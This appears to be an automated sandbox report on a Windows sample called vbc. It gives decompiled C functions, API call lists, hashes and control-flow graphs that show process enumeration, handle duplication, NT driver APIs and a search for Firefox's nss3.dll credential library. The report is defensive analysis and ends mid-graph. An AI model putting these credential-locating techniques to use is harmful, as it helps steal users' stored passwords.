                                                                                                              Function 00408348 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00408348(char* __esi) {
				char* _t2;
				char* _t6;

				_t6 = __esi;
				E00406160(__esi);
				_t2 = strrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 = 0;
				}
				return strcat(_t6, "_lng.ini");
			}





                                                                                                              0x00408348
                                                                                                              0x00408349
                                                                                                              0x00408351
                                                                                                              0x0040835b
                                                                                                              0x0040835d
                                                                                                              0x0040835d
                                                                                                              0x0040836d

                                                                                                              APIs
                                                                                                                • Part of subcall function 00406160: GetModuleFileNameA.KERNEL32(00000000,00000104,00000104,0040834E,00000000,0040826C,?,00000000,00000104,?), ref: 0040616B
                                                                                                              • strrchr.MSVCRT ref: 00408351
                                                                                                              • strcat.MSVCRT(00000000,_lng.ini,00000000,00000104,?), ref: 00408366
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileModuleNamestrcatstrrchr
                                                                                                              • String ID: _lng.ini
                                                                                                              • API String ID: 3097366151-1948609170
                                                                                                              • Opcode ID: d4342e7cf2f2cd7acb0c5595099143b60559064a13119ecfeb2f3085bb136c0c
                                                                                                              • Instruction ID: a8d2890f819e62600bf11f9c0364550bfc67884382c2ab22ce71db24782b6e2f
                                                                                                              • Opcode Fuzzy Hash: d4342e7cf2f2cd7acb0c5595099143b60559064a13119ecfeb2f3085bb136c0c
                                                                                                              • Instruction Fuzzy Hash: 37C01275686A5438D11622355E03B8F01454F52745F24409BF903391D6DE5D569141AE
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403397 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00403397(CHAR* _a4, CHAR* _a8, char _a12) {

				_t2 =  &_a12; // 0x403428
				return GetPrivateProfileStringA("Server Details", _a8, 0x412466,  *_t2, 0x7f, _a4);
			}



                                                                                                              0x0040339d
                                                                                                              0x004033b5

                                                                                                              APIs
                                                                                                              • GetPrivateProfileStringA.KERNEL32(Server Details,?,Function_00012466,(4@,0000007F,?), ref: 004033AF
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfileString
                                                                                                              • String ID: (4@$Server Details
                                                                                                              • API String ID: 1096422788-3984282551
                                                                                                              • Opcode ID: 7bf2893a727a8b250936425436c2602b2102234e3c58862608b198b8383da292
                                                                                                              • Instruction ID: 5387a3ffe087b7673ef104c15d829f3f0df010b9e50aa15a0af8b6122c5a167a
                                                                                                              • Opcode Fuzzy Hash: 7bf2893a727a8b250936425436c2602b2102234e3c58862608b198b8383da292
                                                                                                              • Instruction Fuzzy Hash: A0C04031544301FAC5114F909F05E4D7F516B54B40F118415B24450065C1E54574DB26
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004084CE Relevance: 5.1, APIs: 4, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 88%
                                                                                                              			E004084CE(intOrPtr* __esi, void* __eflags) {
				intOrPtr* _t22;
				intOrPtr* _t31;

				_t31 = __esi;
				 *__esi = 0x413320;
				_t22 = E00406549(0x1c8, __esi);
				_push(0x14);
				L004115D0();
				if(_t22 == 0) {
					_t22 = 0;
				} else {
					 *((intOrPtr*)(_t22 + 0xc)) = 0;
					 *_t22 = 0;
					 *((intOrPtr*)(_t22 + 4)) = 0;
					 *((intOrPtr*)(_t22 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t22 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t31 + 4)) = _t22;
				L004115D0();
				if(_t22 == 0) {
					_t22 = 0;
				} else {
					 *((intOrPtr*)(_t22 + 0xc)) = 0;
					 *_t22 = 0;
					 *((intOrPtr*)(_t22 + 4)) = 0;
					 *((intOrPtr*)(_t22 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t22 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t31 + 8)) = _t22;
				L004115D0();
				if(_t22 == 0) {
					_t22 = 0;
				} else {
					 *((intOrPtr*)(_t22 + 0xc)) = 0;
					 *_t22 = 0;
					 *((intOrPtr*)(_t22 + 4)) = 0;
					 *((intOrPtr*)(_t22 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t22 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t31 + 0xc)) = _t22;
				L004115D0();
				if(_t22 == 0) {
					_t22 = 0;
				} else {
					 *((intOrPtr*)(_t22 + 0xc)) = 0;
					 *_t22 = 0;
					 *((intOrPtr*)(_t22 + 4)) = 0;
					 *((intOrPtr*)(_t22 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t22 + 8)) = 0;
				}
				 *((intOrPtr*)(_t31 + 0x10)) = _t22;
				return _t31;
			}





                                                                                                              0x004084ce
                                                                                                              0x004084d6
                                                                                                              0x004084dc
                                                                                                              0x004084e1
                                                                                                              0x004084e3
                                                                                                              0x004084f3
                                                                                                              0x00408505
                                                                                                              0x004084f5
                                                                                                              0x004084f5
                                                                                                              0x004084f8
                                                                                                              0x004084fa
                                                                                                              0x004084fd
                                                                                                              0x00408500
                                                                                                              0x00408500
                                                                                                              0x00408507
                                                                                                              0x00408509
                                                                                                              0x0040850c
                                                                                                              0x00408514
                                                                                                              0x00408526
                                                                                                              0x00408516
                                                                                                              0x00408516
                                                                                                              0x00408519
                                                                                                              0x0040851b
                                                                                                              0x0040851e
                                                                                                              0x00408521
                                                                                                              0x00408521
                                                                                                              0x00408528
                                                                                                              0x0040852a
                                                                                                              0x0040852d
                                                                                                              0x00408535
                                                                                                              0x00408547
                                                                                                              0x00408537
                                                                                                              0x00408537
                                                                                                              0x0040853a
                                                                                                              0x0040853c
                                                                                                              0x0040853f
                                                                                                              0x00408542
                                                                                                              0x00408542
                                                                                                              0x00408549
                                                                                                              0x0040854b
                                                                                                              0x0040854e
                                                                                                              0x00408556
                                                                                                              0x00408568
                                                                                                              0x00408558
                                                                                                              0x00408558
                                                                                                              0x0040855b
                                                                                                              0x0040855d
                                                                                                              0x00408560
                                                                                                              0x00408563
                                                                                                              0x00408563
                                                                                                              0x0040856b
                                                                                                              0x00408571

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$memset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1860491036-0
                                                                                                              • Opcode ID: e0b7386c77e7a01b56b751958be04bef72ccb72ccdbc98b166978a9f85b8d0ac
                                                                                                              • Instruction ID: 33d46294e57da76ea2c08804649fae6184d1477937e8cd9eb119e1572679ad16
                                                                                                              • Opcode Fuzzy Hash: e0b7386c77e7a01b56b751958be04bef72ccb72ccdbc98b166978a9f85b8d0ac
                                                                                                              • Instruction Fuzzy Hash: F321B3B0A01300AED7518F2B9945955FBE4FF94355B2AC8AFD149DB2B2EBB8C8408F14
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406A74 Relevance: 5.1, APIs: 4, Instructions: 63stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406A74(void* __eax, void* __ecx, char* _a4) {
				int _v8;
				void* __edi;
				int _t27;
				intOrPtr _t28;
				intOrPtr _t31;
				intOrPtr _t42;
				intOrPtr _t52;
				void** _t55;
				void** _t56;
				void* _t59;

				_t59 = __eax;
				_t27 = strlen(_a4);
				_t42 =  *((intOrPtr*)(_t59 + 4));
				_t52 = _t42 + _t27 + 1;
				_v8 = _t27;
				_t28 =  *((intOrPtr*)(_t59 + 0x14));
				 *((intOrPtr*)(_t59 + 4)) = _t52;
				_t55 = _t59 + 0x10;
				if(_t52 != 0xffffffff) {
					E004060FA(_t59, _t52, _t55, 1, _t28);
				} else {
					free( *_t55);
				}
				_t53 =  *(_t59 + 0x1c);
				_t31 =  *((intOrPtr*)(_t59 + 0x18));
				_t56 = _t59 + 0xc;
				if( *(_t59 + 0x1c) != 0xffffffff) {
					E004060FA(_t59 + 8, _t53, _t56, 4, _t31);
				} else {
					free( *_t56);
				}
				memcpy( *(_t59 + 0x10) + _t42, _a4, _v8);
				 *((char*)( *(_t59 + 0x10) + _t42 + _v8)) = 0;
				 *((intOrPtr*)( *_t56 +  *(_t59 + 0x1c) * 4)) = _t42;
				 *(_t59 + 0x1c) =  *(_t59 + 0x1c) + 1;
				_t25 =  *(_t59 + 0x1c) - 1; // -1
				return _t25;
			}













                                                                                                              0x00406a7e
                                                                                                              0x00406a80
                                                                                                              0x00406a85
                                                                                                              0x00406a88
                                                                                                              0x00406a8f
                                                                                                              0x00406a92
                                                                                                              0x00406a96
                                                                                                              0x00406a99
                                                                                                              0x00406a9c
                                                                                                              0x00406aac
                                                                                                              0x00406a9e
                                                                                                              0x00406aa0
                                                                                                              0x00406aa0
                                                                                                              0x00406ab2
                                                                                                              0x00406ab8
                                                                                                              0x00406abc
                                                                                                              0x00406abf
                                                                                                              0x00406ad0
                                                                                                              0x00406ac1
                                                                                                              0x00406ac3
                                                                                                              0x00406ac3
                                                                                                              0x00406ae3
                                                                                                              0x00406af0
                                                                                                              0x00406afc
                                                                                                              0x00406aff
                                                                                                              0x00406b06
                                                                                                              0x00406b0c

                                                                                                              APIs
                                                                                                              • strlen.MSVCRT ref: 00406A80
                                                                                                              • free.MSVCRT(?,00000001,?,00000000,?,?,00406DCF,?,00000000,?,?), ref: 00406AA0
                                                                                                                • Part of subcall function 004060FA: malloc.MSVCRT ref: 00406116
                                                                                                                • Part of subcall function 004060FA: memcpy.MSVCRT ref: 0040612E
                                                                                                                • Part of subcall function 004060FA: free.MSVCRT(00000000,00000000,74EC1245,00406B49,00000001,?,00000000,74EC1245,00406D88,00000000,?,?), ref: 00406137
                                                                                                              • free.MSVCRT(?,00000001,?,00000000,?,?,00406DCF,?,00000000,?,?), ref: 00406AC3
                                                                                                              • memcpy.MSVCRT ref: 00406AE3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$memcpy$mallocstrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 3669619086-0
                                                                                                              • Opcode ID: 5eb856daf9b2f55e9999836f5936cf74f251c15999897e978b7d5133cb55aa44
                                                                                                              • Instruction ID: e46d755c35f7a0493bef025674ad9543d325b8c94dab604409744cdcda2aebf9
                                                                                                              • Opcode Fuzzy Hash: 5eb856daf9b2f55e9999836f5936cf74f251c15999897e978b7d5133cb55aa44
                                                                                                              • Instruction Fuzzy Hash: 70116D71200700EFC730EF18D8819AAB7F5EF45328B108A2EF957A7691DB35F9658B54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Executed Functions

                                                                                                              Function 00408836 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 234filenativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 224 408836-40889c memset call 40757a CreateFileW 227 4088a2-4088ba call 4085eb call 40fc89 224->227 232 4088bc-4088cb NtQuerySystemInformation 227->232 233 4088cd 227->233 234 4088d1-4088d8 232->234 233->234 235 4088da-4088ea 234->235 236 4088ec-408903 CloseHandle GetCurrentProcessId 234->236 235->227 235->236 237 408905-408909 236->237 238 40892b-408967 call 411196 236->238 237->238 239 40890b 237->239 243 408ae5-408ae8 238->243 244 40896d-408994 call 4091f6 call 407602 _wcsicmp 238->244 242 40890e-408914 239->242 245 408925-408929 242->245 246 408916-40891d 242->246 249 408af6-408b0d call 402778 * 2 243->249 250 408aea-408af3 FreeLibrary 243->250 258 4089c0-4089d0 OpenProcess 244->258 259 408996-4089a7 _wcsicmp 244->259 245->238 245->242 246->245 248 40891f-408922 246->248 248->245 250->249 261 408ad1-408ad4 258->261 262 4089d6-4089db 258->262 259->258 260 4089a9-4089ba _wcsicmp 259->260 260->258 263 408ad6-408adf 260->263 261->243 261->263 264 4089e1 262->264 265 408ac8-408acb CloseHandle 262->265 263->243 263->244 266 4089e4-4089e9 264->266 265->261 267 408a96-408aa4 266->267 268 4089ef-4089f6 266->268 267->266 269 408aaa-408aac 267->269 268->267 270 4089fc-408a23 GetCurrentProcess DuplicateHandle 268->270 269->265 270->267 271 408a25-408a4f memset call 40fc89 270->271 274 408a51-408a63 271->274 275 408a68-408a94 CloseHandle call 407602 * 2 _wcsicmp 271->275 274->275 275->267 280 408aae-408ac6 275->280 280->265
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040885E
                                                                                                                • Part of subcall function 0040757A: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040AB83,00000000,0040AA36,?,00000000,00000208,?), ref: 00407585
                                                                                                              • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00408885
                                                                                                                • Part of subcall function 004085EB: ??2@YAPAXI@Z.MSVCRT ref: 004085F4
                                                                                                                • Part of subcall function 0040FC89: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,004088B3,?,000000FF,00000000,00000104), ref: 0040FC9C
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation,?,000000FF,00000000,00000104), ref: 0040FCB3
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtLoadDriver,?,000000FF,00000000,00000104), ref: 0040FCC5
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtUnloadDriver,?,000000FF,00000000,00000104), ref: 0040FCD7
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0040FCE9
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0040FCFB
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtQueryObject,?,000000FF,00000000,00000104), ref: 0040FD0D
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtSuspendProcess,?,000000FF,00000000,00000104), ref: 0040FD1F
                                                                                                                • Part of subcall function 0040FC89: GetProcAddress.KERNEL32(NtResumeProcess,?,000000FF,00000000,00000104), ref: 0040FD31
                                                                                                              • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 004088C6
                                                                                                              • CloseHandle.KERNELBASE(C0000004), ref: 004088EF
                                                                                                              • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 004088FA
                                                                                                              • _wcsicmp.MSVCRT ref: 0040898B
                                                                                                              • _wcsicmp.MSVCRT ref: 0040899E
                                                                                                              • _wcsicmp.MSVCRT ref: 004089B1
                                                                                                              • OpenProcess.KERNEL32(00000040,00000000,00000000,?,?,000000FF,00000000,00000104), ref: 004089C5
                                                                                                              • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 00408A0B
                                                                                                              • DuplicateHandle.KERNEL32 ref: 00408A1A
                                                                                                              • memset.MSVCRT ref: 00408A38
                                                                                                              • CloseHandle.KERNEL32(C0000004), ref: 00408A6B
                                                                                                              • _wcsicmp.MSVCRT ref: 00408A8B
                                                                                                              • CloseHandle.KERNEL32(00000104), ref: 00408ACB
                                                                                                              • FreeLibrary.KERNELBASE(?,?,?,000000FF,00000000,00000104), ref: 00408AED
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateFreeInformationLibraryNameOpenQuerySystem
                                                                                                              • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                                              • API String ID: 1119612920-3398334509
                                                                                                              • Opcode ID: 4d8f3214a43bd04c3f84bf4d7629163f604b80433559b2a465285cddf8bf93b4
                                                                                                              • Instruction ID: ac6d74245de41f4a68afaf46936feeb9e4215e23a81ac82868d75cf9687b4f7b
                                                                                                              • Opcode Fuzzy Hash: 4d8f3214a43bd04c3f84bf4d7629163f604b80433559b2a465285cddf8bf93b4
                                                                                                              • Instruction Fuzzy Hash: FB9115B1D00209AFDB10EF95C985AAEBBB5FF04305F60447FE949B6291DB399E40CB58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411196 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 143processlibraryloaderCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              APIs
                                                                                                                • Part of subcall function 00402778: free.MSVCRT(00000000,0040E508,?,?,?,?,?,/deleteregkey,/savelangfile,?,?), ref: 0040277F
                                                                                                              • CreateToolhelp32Snapshot.KERNEL32 ref: 004111B6
                                                                                                              • memset.MSVCRT ref: 004111CB
                                                                                                              • Process32FirstW.KERNEL32(?,?), ref: 004111E7
                                                                                                              • OpenProcess.KERNEL32(00000410,00000000,?,00001000,?,00000000), ref: 0041122C
                                                                                                              • memset.MSVCRT ref: 00411253
                                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00411288
                                                                                                              • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 004112A2
                                                                                                              • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 004112C3
                                                                                                              • CloseHandle.KERNELBASE(?), ref: 004112F4
                                                                                                              • free.MSVCRT(?), ref: 0041130D
                                                                                                              • Process32NextW.KERNEL32(?,0000022C), ref: 00411356
                                                                                                              • CloseHandle.KERNEL32(?), ref: 00411366
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Handle$CloseProcessProcess32freememset$AddressCreateFirstFullImageModuleNameNextOpenProcQuerySnapshotToolhelp32
                                                                                                              • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                                              • API String ID: 3536422406-1740548384
                                                                                                              • Opcode ID: d60c901128d51a1a9a941b54c9a38706e9a618f48074c361322ebbbca8af7aa2
                                                                                                              • Instruction ID: bbba850b15206e26884db202d857e323fd936e243bbe251c85cc099381913945
                                                                                                              • Opcode Fuzzy Hash: d60c901128d51a1a9a941b54c9a38706e9a618f48074c361322ebbbca8af7aa2
                                                                                                              • Instruction Fuzzy Hash: 7E51AF72840258ABDB21DF55CC84EDEB7B9EF94304F1001ABFA18E3261DB759A84CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407E0E Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 37fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • FindFirstFileW.KERNELBASE(00000000,?,00000000,nss3.dll,00000000), ref: 00407E26
                                                                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 00407E45
                                                                                                              • FindClose.KERNEL32(00000000), ref: 00407E65
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Find$File$CloseFirstNext
                                                                                                              • String ID: .$ld@$nss3.dll
                                                                                                              • API String ID: 3541575487-3654816495
                                                                                                              • Opcode ID: cc7230da910be55964706480e184fd4a449cc4274279a5797c2cb2fba6568da8
                                                                                                              • Instruction ID: 78963b1eb2bf7b5f8aa15039180698213c9a680973a94e339c68aae197af375e
                                                                                                              • Opcode Fuzzy Hash: cc7230da910be55964706480e184fd4a449cc4274279a5797c2cb2fba6568da8
                                                                                                              • Instruction Fuzzy Hash: CEF0BB75901528ABDB206BB4DC8C9ABB7ACEB45765F0401B2ED06E3180D334AE458AD9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408441 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • FindFirstFileW.KERNELBASE(00000103,0000038B,00000000,?,00410790,?), ref: 00408457
                                                                                                              • FindNextFileW.KERNELBASE(000000FF,0000038B,00000000,?,00410790,?), ref: 00408475
                                                                                                              • wcslen.MSVCRT ref: 004084A5
                                                                                                              • wcslen.MSVCRT ref: 004084AD
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileFindwcslen$FirstNext
                                                                                                              • String ID:
                                                                                                              • API String ID: 2163959949-0
                                                                                                              • Opcode ID: 80c24c4a0fd4be1e088faab584ff479ea008bcf4405b994ad439e2c2ad98ac31
                                                                                                              • Instruction ID: 6e3c8222864954d55df90d51b8e56744ea09e2897b7152e8bd6019cb1af30d80
                                                                                                              • Opcode Fuzzy Hash: 80c24c4a0fd4be1e088faab584ff479ea008bcf4405b994ad439e2c2ad98ac31
                                                                                                              • Instruction Fuzzy Hash: E5118272515706AFD7149B24D984A9B73DCAF04725F604A3FF09AD31C0FF78A9448B29
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415F87 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00415EAF: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 00415EDB
                                                                                                                • Part of subcall function 00415EAF: malloc.MSVCRT ref: 00415EE6
                                                                                                                • Part of subcall function 00415EAF: free.MSVCRT(?), ref: 00415EF6
                                                                                                                • Part of subcall function 00414BCA: GetVersionExW.KERNEL32(?), ref: 00414BED
                                                                                                              • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 00416001
                                                                                                              • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 00416029
                                                                                                              • free.MSVCRT(00000000,?,00000000,?,00000000), ref: 00416032
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
                                                                                                              • String ID:
                                                                                                              • API String ID: 1355100292-0
                                                                                                              • Opcode ID: 6d9bbb2232084d268bbffa8b88e6344bd84b9c6ec403a6433ede71687f16327b
                                                                                                              • Instruction ID: 7d405d749a0edc351a3ddf496a078fe72cac754ac47b8191c628d3d1323914f3
                                                                                                              • Opcode Fuzzy Hash: 6d9bbb2232084d268bbffa8b88e6344bd84b9c6ec403a6433ede71687f16327b
                                                                                                              • Instruction Fuzzy Hash: 45219276804108EEEB21EBA4C8849EF7BBCEF09304F1100ABE641D7141E778CEC597A5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004161B0 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004161BB
                                                                                                              • GetSystemInfo.KERNELBASE(00451CE0,?,00000000,00440C34,00000000,?,?,00000003,00000000,00000000), ref: 004161C4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: InfoSystemmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 3558857096-0
                                                                                                              • Opcode ID: b2614796881ddab84da0c6407dc57915020354a4b010b0c78962ddc3b3495293
                                                                                                              • Instruction ID: 01e0680712ac90f889d23e176cd2934d89dbbab4f1fad96818c53916f6f4ffc6
                                                                                                              • Opcode Fuzzy Hash: b2614796881ddab84da0c6407dc57915020354a4b010b0c78962ddc3b3495293
                                                                                                              • Instruction Fuzzy Hash: D6E02230A0062067E3217732BE07FCF22848F02348F00403BFA00DA366F6AC881506ED
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410168 Relevance: 56.4, APIs: 23, Strings: 9, Instructions: 441COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 0 410168-410185 call 442a90 3 4101b1-4101ba 0->3 4 410187-4101ac call 409a34 call 408619 call 409eb8 call 44236d 0->4 6 4101c0-4101fb memset call 40ed6c wcsrchr 3->6 7 41029e-4102a7 3->7 4->3 23 410200-410214 6->23 24 4101fd 6->24 9 410387-410390 7->9 10 4102ad-410306 call 407e96 call 40f0d5 memset call 411bbc 7->10 12 410396-4103f0 memset * 3 9->12 13 4104da-4104e3 9->13 64 410315-410335 ExpandEnvironmentStringsW call 4063c1 10->64 65 410308-410313 call 407548 10->65 17 4103f2-4103fb 12->17 18 410424-410455 call 412270 wcslen * 2 12->18 20 4104e5-410507 memset call 401b06 13->20 21 41052c-410535 13->21 17->18 29 4103fd-41041f call 407447 call 410075 17->29 51 410472 18->51 52 410457-410470 call 4076a9 18->52 42 41050c-410514 20->42 27 4107a3-4107a7 21->27 28 41053b-410541 21->28 25 410220-410223 23->25 26 410216-41021c 23->26 24->23 35 410233-410235 25->35 36 410225-41022e 25->36 26->25 34 41021e 26->34 37 410543-410548 28->37 38 41054d-4105b0 memset * 2 call 412270 wcslen * 2 28->38 29->13 34->25 47 410255-410266 call 407e96 call 40f2e6 35->47 48 410237-41023b 35->48 36->35 44 410230 36->44 45 410664-410671 call 4421eb 37->45 67 4105b2-4105cb call 4076a9 38->67 68 4105cd 38->68 53 410527-41052a 42->53 54 410516-410523 42->54 44->35 45->27 94 410294-41029c call 407eb8 47->94 95 410268 47->95 48->47 58 41023d-410253 call 406dd9 48->58 56 410479-4104a9 call 410000 wcslen * 2 51->56 52->56 53->21 54->53 82 4104c6 56->82 83 4104ab-4104c4 call 4076a9 56->83 58->7 84 41033a-41033c 64->84 65->64 88 41034d-410352 65->88 79 4105d4-4105e3 call 407548 67->79 68->79 102 4105e5 79->102 103 4105ec-4105f3 79->103 92 4104cd-4104d5 call 410000 82->92 83->92 90 41034a 84->90 91 41033e-410348 84->91 99 41037d-410385 call 407eb8 88->99 100 410354 88->100 90->88 91->99 92->13 94->7 96 41026e-410289 call 407fe8 call 406dd9 95->96 120 41028e-410292 96->120 99->9 109 41035a-41037b call 407fe8 call 406dd9 100->109 102->103 105 4105f5-410619 wcslen * 2 103->105 106 41065e 103->106 111 410636 105->111 112 41061b-410634 call 4076a9 105->112 106->45 109->99 117 41063d-41064c call 407548 111->117 112->117 125 